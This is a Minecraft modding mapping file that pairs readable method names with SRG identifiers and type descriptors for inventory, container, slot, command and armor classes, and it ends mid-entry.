+MD: net/minecraft/inventory/ContainerWorkbench/canInteractWith (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/ContainerWorkbench/func_75145_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/ContainerWorkbench/canMergeSlot (Lnet/minecraft/item/ItemStack;Lnet/minecraft/inventory/Slot;)Z net/minecraft/inventory/ContainerWorkbench/func_94530_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/inventory/Slot;)Z +MD: net/minecraft/inventory/ContainerWorkbench/onContainerClosed (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/ContainerWorkbench/func_75134_a (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/ContainerWorkbench/transferStackInSlot (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/ContainerWorkbench/func_82846_b (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/ContainerDispenser/canInteractWith (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/ContainerDispenser/func_75145_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/ContainerDispenser/transferStackInSlot (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/ContainerDispenser/func_82846_b (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/ContainerEnchantment$1/markDirty ()V net/minecraft/inventory/ContainerEnchantment$1/func_70296_d ()V +MD: net/minecraft/inventory/ContainerEnchantment$1/getInventoryStackLimit ()I net/minecraft/inventory/ContainerEnchantment$1/func_70297_j_ ()I +MD: net/minecraft/inventory/ContainerEnchantment$2/getSlotStackLimit ()I net/minecraft/inventory/ContainerEnchantment$2/func_75219_a ()I +MD: net/minecraft/inventory/ContainerEnchantment$2/isItemValid (Lnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/ContainerEnchantment$2/func_75214_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/ContainerEnchantment$3/isItemValid (Lnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/ContainerEnchantment$3/func_75214_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/ContainerEnchantment/onCraftMatrixChanged (Lnet/minecraft/inventory/IInventory;)V net/minecraft/inventory/ContainerEnchantment/func_75130_a (Lnet/minecraft/inventory/IInventory;)V +MD: net/minecraft/inventory/ContainerEnchantment/canInteractWith (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/ContainerEnchantment/func_75145_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/ContainerEnchantment/enchantItem (Lnet/minecraft/entity/player/EntityPlayer;I)Z net/minecraft/inventory/ContainerEnchantment/func_75140_a (Lnet/minecraft/entity/player/EntityPlayer;I)Z +MD: net/minecraft/inventory/ContainerEnchantment/onCraftGuiOpened (Lnet/minecraft/inventory/ICrafting;)V net/minecraft/inventory/ContainerEnchantment/func_75132_a (Lnet/minecraft/inventory/ICrafting;)V +MD: net/minecraft/inventory/ContainerEnchantment/func_178148_a (Lnet/minecraft/item/ItemStack;II)Ljava/util/List; net/minecraft/inventory/ContainerEnchantment/func_178148_a (Lnet/minecraft/item/ItemStack;II)Ljava/util/List; +MD: net/minecraft/inventory/ContainerEnchantment/detectAndSendChanges ()V net/minecraft/inventory/ContainerEnchantment/func_75142_b ()V +MD: net/minecraft/inventory/ContainerEnchantment/updateProgressBar (II)V net/minecraft/inventory/ContainerEnchantment/func_75137_b (II)V +MD: net/minecraft/inventory/ContainerEnchantment/onContainerClosed (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/ContainerEnchantment/func_75134_a (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/ContainerEnchantment/transferStackInSlot (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/ContainerEnchantment/func_82846_b (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/ContainerEnchantment/getLapisAmount ()I net/minecraft/inventory/ContainerEnchantment/func_178147_e ()I +MD: net/minecraft/inventory/SlotFurnaceFuel/isItemValid (Lnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/SlotFurnaceFuel/func_75214_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/SlotFurnaceFuel/getItemStackLimit (Lnet/minecraft/item/ItemStack;)I net/minecraft/inventory/SlotFurnaceFuel/func_178170_b (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/inventory/SlotFurnaceFuel/isBucket (Lnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/SlotFurnaceFuel/func_178173_c_ (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/ContainerFurnace/canInteractWith (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/ContainerFurnace/func_75145_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/ContainerFurnace/onCraftGuiOpened (Lnet/minecraft/inventory/ICrafting;)V net/minecraft/inventory/ContainerFurnace/func_75132_a (Lnet/minecraft/inventory/ICrafting;)V +MD: net/minecraft/inventory/ContainerFurnace/detectAndSendChanges ()V net/minecraft/inventory/ContainerFurnace/func_75142_b ()V +MD: net/minecraft/inventory/ContainerFurnace/updateProgressBar (II)V net/minecraft/inventory/ContainerFurnace/func_75137_b (II)V +MD: net/minecraft/inventory/ContainerFurnace/transferStackInSlot (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/ContainerFurnace/func_82846_b (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/SlotFurnaceOutput/decrStackSize (I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/SlotFurnaceOutput/func_75209_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/SlotFurnaceOutput/onPickupFromSlot (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)V net/minecraft/inventory/SlotFurnaceOutput/func_82870_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/SlotFurnaceOutput/isItemValid (Lnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/SlotFurnaceOutput/func_75214_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/SlotFurnaceOutput/onCrafting (Lnet/minecraft/item/ItemStack;I)V net/minecraft/inventory/SlotFurnaceOutput/func_75210_a (Lnet/minecraft/item/ItemStack;I)V +MD: net/minecraft/inventory/SlotFurnaceOutput/onCrafting (Lnet/minecraft/item/ItemStack;)V net/minecraft/inventory/SlotFurnaceOutput/func_75208_c (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/ContainerHopper/canInteractWith (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/ContainerHopper/func_75145_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/ContainerHopper/onContainerClosed (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/ContainerHopper/func_75134_a (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/ContainerHopper/transferStackInSlot (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/ContainerHopper/func_82846_b (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/ContainerHorseInventory$1/isItemValid (Lnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/ContainerHorseInventory$1/func_75214_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/ContainerHorseInventory$2/isItemValid (Lnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/ContainerHorseInventory$2/func_75214_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/ContainerHorseInventory$2/canBeHovered ()Z net/minecraft/inventory/ContainerHorseInventory$2/func_111238_b ()Z +MD: net/minecraft/inventory/ContainerHorseInventory/canInteractWith (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/ContainerHorseInventory/func_75145_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/ContainerHorseInventory/onContainerClosed (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/ContainerHorseInventory/func_75134_a (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/ContainerHorseInventory/transferStackInSlot (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/ContainerHorseInventory/func_82846_b (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/ContainerPlayer$1/getSlotStackLimit ()I net/minecraft/inventory/ContainerPlayer$1/func_75219_a ()I +MD: net/minecraft/inventory/ContainerPlayer$1/isItemValid (Lnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/ContainerPlayer$1/func_75214_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/ContainerPlayer$1/getSlotTexture ()Ljava/lang/String; net/minecraft/inventory/ContainerPlayer$1/func_178171_c ()Ljava/lang/String; +MD: net/minecraft/inventory/ContainerPlayer/onCraftMatrixChanged (Lnet/minecraft/inventory/IInventory;)V net/minecraft/inventory/ContainerPlayer/func_75130_a (Lnet/minecraft/inventory/IInventory;)V +MD: net/minecraft/inventory/ContainerPlayer/canInteractWith (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/ContainerPlayer/func_75145_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/ContainerPlayer/canMergeSlot (Lnet/minecraft/item/ItemStack;Lnet/minecraft/inventory/Slot;)Z net/minecraft/inventory/ContainerPlayer/func_94530_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/inventory/Slot;)Z +MD: net/minecraft/inventory/ContainerPlayer/onContainerClosed (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/ContainerPlayer/func_75134_a (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/ContainerPlayer/transferStackInSlot (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/ContainerPlayer/func_82846_b (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/command/CommandDefaultGameMode/setGameType (Lnet/minecraft/world/WorldSettings$GameType;)V net/minecraft/command/CommandDefaultGameMode/func_71541_a (Lnet/minecraft/world/WorldSettings$GameType;)V +MD: net/minecraft/command/CommandDefaultGameMode/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandDefaultGameMode/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandDefaultGameMode/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandDefaultGameMode/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandDefaultGameMode/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandDefaultGameMode/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/inventory/InventoryMerchant/getStackInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/InventoryMerchant/func_70301_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/InventoryMerchant/decrStackSize (II)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/InventoryMerchant/func_70298_a (II)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/InventoryMerchant/setInventorySlotContents (ILnet/minecraft/item/ItemStack;)V net/minecraft/inventory/InventoryMerchant/func_70299_a (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/InventoryMerchant/isUseableByPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/InventoryMerchant/func_70300_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/InventoryMerchant/getField (I)I net/minecraft/inventory/InventoryMerchant/func_174887_a_ (I)I +MD: net/minecraft/inventory/InventoryMerchant/removeStackFromSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/InventoryMerchant/func_70304_b (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/InventoryMerchant/setField (II)V net/minecraft/inventory/InventoryMerchant/func_174885_b (II)V +MD: net/minecraft/inventory/InventoryMerchant/isItemValidForSlot (ILnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/InventoryMerchant/func_94041_b (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/InventoryMerchant/openInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/InventoryMerchant/func_174889_b (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/InventoryMerchant/closeInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/InventoryMerchant/func_174886_c (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/InventoryMerchant/setCurrentRecipeIndex (I)V net/minecraft/inventory/InventoryMerchant/func_70471_c (I)V +MD: net/minecraft/inventory/InventoryMerchant/inventoryResetNeededOnSlotChange (I)Z net/minecraft/inventory/InventoryMerchant/func_70469_d (I)Z +MD: net/minecraft/inventory/InventoryMerchant/getName ()Ljava/lang/String; net/minecraft/inventory/InventoryMerchant/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/inventory/InventoryMerchant/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/inventory/InventoryMerchant/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/inventory/InventoryMerchant/getFieldCount ()I net/minecraft/inventory/InventoryMerchant/func_174890_g ()I +MD: net/minecraft/inventory/InventoryMerchant/resetRecipeAndSlots ()V net/minecraft/inventory/InventoryMerchant/func_70470_g ()V +MD: net/minecraft/inventory/InventoryMerchant/getCurrentRecipe ()Lnet/minecraft/village/MerchantRecipe; net/minecraft/inventory/InventoryMerchant/func_70468_h ()Lnet/minecraft/village/MerchantRecipe; +MD: net/minecraft/inventory/InventoryMerchant/clear ()V net/minecraft/inventory/InventoryMerchant/func_174888_l ()V +MD: net/minecraft/inventory/InventoryMerchant/hasCustomName ()Z net/minecraft/inventory/InventoryMerchant/func_145818_k_ ()Z +MD: net/minecraft/inventory/InventoryMerchant/getSizeInventory ()I net/minecraft/inventory/InventoryMerchant/func_70302_i_ ()I +MD: net/minecraft/inventory/InventoryMerchant/markDirty ()V net/minecraft/inventory/InventoryMerchant/func_70296_d ()V +MD: net/minecraft/inventory/InventoryMerchant/getInventoryStackLimit ()I net/minecraft/inventory/InventoryMerchant/func_70297_j_ ()I +MD: net/minecraft/inventory/ContainerMerchant/onCraftMatrixChanged (Lnet/minecraft/inventory/IInventory;)V net/minecraft/inventory/ContainerMerchant/func_75130_a (Lnet/minecraft/inventory/IInventory;)V +MD: net/minecraft/inventory/ContainerMerchant/canInteractWith (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/ContainerMerchant/func_75145_c (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/ContainerMerchant/onCraftGuiOpened (Lnet/minecraft/inventory/ICrafting;)V net/minecraft/inventory/ContainerMerchant/func_75132_a (Lnet/minecraft/inventory/ICrafting;)V +MD: net/minecraft/inventory/ContainerMerchant/detectAndSendChanges ()V net/minecraft/inventory/ContainerMerchant/func_75142_b ()V +MD: net/minecraft/inventory/ContainerMerchant/updateProgressBar (II)V net/minecraft/inventory/ContainerMerchant/func_75137_b (II)V +MD: net/minecraft/inventory/ContainerMerchant/onContainerClosed (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/ContainerMerchant/func_75134_a (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/ContainerMerchant/transferStackInSlot (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/ContainerMerchant/func_82846_b (Lnet/minecraft/entity/player/EntityPlayer;I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/ContainerMerchant/setCurrentRecipeIndex (I)V net/minecraft/inventory/ContainerMerchant/func_75175_c (I)V +MD: net/minecraft/inventory/ContainerMerchant/getMerchantInventory ()Lnet/minecraft/inventory/InventoryMerchant; net/minecraft/inventory/ContainerMerchant/func_75174_d ()Lnet/minecraft/inventory/InventoryMerchant; +MD: net/minecraft/inventory/SlotMerchantResult/decrStackSize (I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/SlotMerchantResult/func_75209_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/SlotMerchantResult/doTrade (Lnet/minecraft/village/MerchantRecipe;Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/SlotMerchantResult/func_75230_a (Lnet/minecraft/village/MerchantRecipe;Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/SlotMerchantResult/onPickupFromSlot (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)V net/minecraft/inventory/SlotMerchantResult/func_82870_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/SlotMerchantResult/isItemValid (Lnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/SlotMerchantResult/func_75214_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/SlotMerchantResult/onCrafting (Lnet/minecraft/item/ItemStack;I)V net/minecraft/inventory/SlotMerchantResult/func_75210_a (Lnet/minecraft/item/ItemStack;I)V +MD: net/minecraft/inventory/SlotMerchantResult/onCrafting (Lnet/minecraft/item/ItemStack;)V net/minecraft/inventory/SlotMerchantResult/func_75208_c (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/InventoryEnderChest/setChestTileEntity (Lnet/minecraft/tileentity/TileEntityEnderChest;)V net/minecraft/inventory/InventoryEnderChest/func_146031_a (Lnet/minecraft/tileentity/TileEntityEnderChest;)V +MD: net/minecraft/inventory/InventoryEnderChest/loadInventoryFromNBT (Lnet/minecraft/nbt/NBTTagList;)V net/minecraft/inventory/InventoryEnderChest/func_70486_a (Lnet/minecraft/nbt/NBTTagList;)V +MD: net/minecraft/inventory/InventoryEnderChest/isUseableByPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/InventoryEnderChest/func_70300_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/InventoryEnderChest/openInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/InventoryEnderChest/func_174889_b (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/InventoryEnderChest/closeInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/InventoryEnderChest/func_174886_c (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/InventoryEnderChest/saveInventoryToNBT ()Lnet/minecraft/nbt/NBTTagList; net/minecraft/inventory/InventoryEnderChest/func_70487_g ()Lnet/minecraft/nbt/NBTTagList; +MD: net/minecraft/inventory/InventoryCraftResult/getStackInSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/InventoryCraftResult/func_70301_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/InventoryCraftResult/decrStackSize (II)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/InventoryCraftResult/func_70298_a (II)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/InventoryCraftResult/setInventorySlotContents (ILnet/minecraft/item/ItemStack;)V net/minecraft/inventory/InventoryCraftResult/func_70299_a (ILnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/InventoryCraftResult/isUseableByPlayer (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/InventoryCraftResult/func_70300_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/InventoryCraftResult/getField (I)I net/minecraft/inventory/InventoryCraftResult/func_174887_a_ (I)I +MD: net/minecraft/inventory/InventoryCraftResult/removeStackFromSlot (I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/InventoryCraftResult/func_70304_b (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/InventoryCraftResult/setField (II)V net/minecraft/inventory/InventoryCraftResult/func_174885_b (II)V +MD: net/minecraft/inventory/InventoryCraftResult/isItemValidForSlot (ILnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/InventoryCraftResult/func_94041_b (ILnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/InventoryCraftResult/openInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/InventoryCraftResult/func_174889_b (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/InventoryCraftResult/closeInventory (Lnet/minecraft/entity/player/EntityPlayer;)V net/minecraft/inventory/InventoryCraftResult/func_174886_c (Lnet/minecraft/entity/player/EntityPlayer;)V +MD: net/minecraft/inventory/InventoryCraftResult/getName ()Ljava/lang/String; net/minecraft/inventory/InventoryCraftResult/func_70005_c_ ()Ljava/lang/String; +MD: net/minecraft/inventory/InventoryCraftResult/getDisplayName ()Lnet/minecraft/util/IChatComponent; net/minecraft/inventory/InventoryCraftResult/func_145748_c_ ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/inventory/InventoryCraftResult/getFieldCount ()I net/minecraft/inventory/InventoryCraftResult/func_174890_g ()I +MD: net/minecraft/inventory/InventoryCraftResult/clear ()V net/minecraft/inventory/InventoryCraftResult/func_174888_l ()V +MD: net/minecraft/inventory/InventoryCraftResult/hasCustomName ()Z net/minecraft/inventory/InventoryCraftResult/func_145818_k_ ()Z +MD: net/minecraft/inventory/InventoryCraftResult/getSizeInventory ()I net/minecraft/inventory/InventoryCraftResult/func_70302_i_ ()I +MD: net/minecraft/inventory/InventoryCraftResult/markDirty ()V net/minecraft/inventory/InventoryCraftResult/func_70296_d ()V +MD: net/minecraft/inventory/InventoryCraftResult/getInventoryStackLimit ()I net/minecraft/inventory/InventoryCraftResult/func_70297_j_ ()I +MD: net/minecraft/inventory/SlotCrafting/decrStackSize (I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/SlotCrafting/func_75209_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/SlotCrafting/onPickupFromSlot (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)V net/minecraft/inventory/SlotCrafting/func_82870_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/SlotCrafting/isItemValid (Lnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/SlotCrafting/func_75214_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/SlotCrafting/onCrafting (Lnet/minecraft/item/ItemStack;I)V net/minecraft/inventory/SlotCrafting/func_75210_a (Lnet/minecraft/item/ItemStack;I)V +MD: net/minecraft/inventory/SlotCrafting/onCrafting (Lnet/minecraft/item/ItemStack;)V net/minecraft/inventory/SlotCrafting/func_75208_c (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/Slot/getSlotStackLimit ()I net/minecraft/inventory/Slot/func_75219_a ()I +MD: net/minecraft/inventory/Slot/decrStackSize (I)Lnet/minecraft/item/ItemStack; net/minecraft/inventory/Slot/func_75209_a (I)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/Slot/isHere (Lnet/minecraft/inventory/IInventory;I)Z net/minecraft/inventory/Slot/func_75217_a (Lnet/minecraft/inventory/IInventory;I)Z +MD: net/minecraft/inventory/Slot/canTakeStack (Lnet/minecraft/entity/player/EntityPlayer;)Z net/minecraft/inventory/Slot/func_82869_a (Lnet/minecraft/entity/player/EntityPlayer;)Z +MD: net/minecraft/inventory/Slot/onPickupFromSlot (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)V net/minecraft/inventory/Slot/func_82870_a (Lnet/minecraft/entity/player/EntityPlayer;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/Slot/isItemValid (Lnet/minecraft/item/ItemStack;)Z net/minecraft/inventory/Slot/func_75214_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/inventory/Slot/onCrafting (Lnet/minecraft/item/ItemStack;I)V net/minecraft/inventory/Slot/func_75210_a (Lnet/minecraft/item/ItemStack;I)V +MD: net/minecraft/inventory/Slot/onSlotChange (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)V net/minecraft/inventory/Slot/func_75220_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/Slot/canBeHovered ()Z net/minecraft/inventory/Slot/func_111238_b ()Z +MD: net/minecraft/inventory/Slot/getItemStackLimit (Lnet/minecraft/item/ItemStack;)I net/minecraft/inventory/Slot/func_178170_b (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/inventory/Slot/getSlotTexture ()Ljava/lang/String; net/minecraft/inventory/Slot/func_178171_c ()Ljava/lang/String; +MD: net/minecraft/inventory/Slot/onCrafting (Lnet/minecraft/item/ItemStack;)V net/minecraft/inventory/Slot/func_75208_c (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/Slot/getStack ()Lnet/minecraft/item/ItemStack; net/minecraft/inventory/Slot/func_75211_c ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/inventory/Slot/putStack (Lnet/minecraft/item/ItemStack;)V net/minecraft/inventory/Slot/func_75215_d (Lnet/minecraft/item/ItemStack;)V +MD: net/minecraft/inventory/Slot/getHasStack ()Z net/minecraft/inventory/Slot/func_75216_d ()Z +MD: net/minecraft/inventory/Slot/onSlotChanged ()V net/minecraft/inventory/Slot/func_75218_e ()V +MD: net/minecraft/item/ItemAnvilBlock/getMetadata (I)I net/minecraft/item/ItemAnvilBlock/func_77647_b (I)I +MD: net/minecraft/item/ItemArmor$1/dispenseStack (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemArmor$1/func_82487_b (Lnet/minecraft/dispenser/IBlockSource;Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemArmor$ArmorMaterial/getEnchantability ()I net/minecraft/item/ItemArmor$ArmorMaterial/func_78045_a ()I +MD: net/minecraft/item/ItemArmor$ArmorMaterial/getDurability (I)I net/minecraft/item/ItemArmor$ArmorMaterial/func_78046_a (I)I +MD: net/minecraft/item/ItemArmor$ArmorMaterial/getRepairItem ()Lnet/minecraft/item/Item; net/minecraft/item/ItemArmor$ArmorMaterial/func_151685_b ()Lnet/minecraft/item/Item; +MD: net/minecraft/item/ItemArmor$ArmorMaterial/getDamageReductionAmount (I)I net/minecraft/item/ItemArmor$ArmorMaterial/func_78044_b (I)I +MD: net/minecraft/item/ItemArmor$ArmorMaterial/getName ()Ljava/lang/String; net/minecraft/item/ItemArmor$ArmorMaterial/func_179242_c ()Ljava/lang/String; +MD: net/minecraft/item/ItemArmor$ArmorMaterial/valueOf (Ljava/lang/String;)Lnet/minecraft/item/ItemArmor$ArmorMaterial; net/minecraft/item/ItemArmor$ArmorMaterial/valueOf (Ljava/lang/String;)Lnet/minecraft/item/ItemArmor$ArmorMaterial; +MD: net/minecraft/item/ItemArmor$ArmorMaterial/values ()[Lnet/minecraft/item/ItemArmor$ArmorMaterial; net/minecraft/item/ItemArmor$ArmorMaterial/values ()[Lnet/minecraft/item/ItemArmor$ArmorMaterial; +MD: net/minecraft/item/ItemArmor/getColorFromItemStack (Lnet/minecraft/item/ItemStack;I)I net/minecraft/item/ItemArmor/func_82790_a (Lnet/minecraft/item/ItemStack;I)I +MD: net/minecraft/item/ItemArmor/onItemRightClick (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; net/minecraft/item/ItemArmor/func_77659_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/world/World;Lnet/minecraft/entity/player/EntityPlayer;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/ItemArmor/getIsRepairable (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/ItemArmor/func_82789_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/ItemArmor/getItemEnchantability ()I net/minecraft/item/ItemArmor/func_77619_b ()I +MD: net/minecraft/item/ItemArmor/getColor (Lnet/minecraft/item/ItemStack;)I net/minecraft/item/ItemArmor/func_82814_b (Lnet/minecraft/item/ItemStack;)I +MD: net/minecraft/item/ItemArmor/setColor (Lnet/minecraft/item/ItemStack;I)V net/minecraft/item/ItemArmor/func_82813_b (Lnet/minecraft/item/ItemStack;I)V +MD: 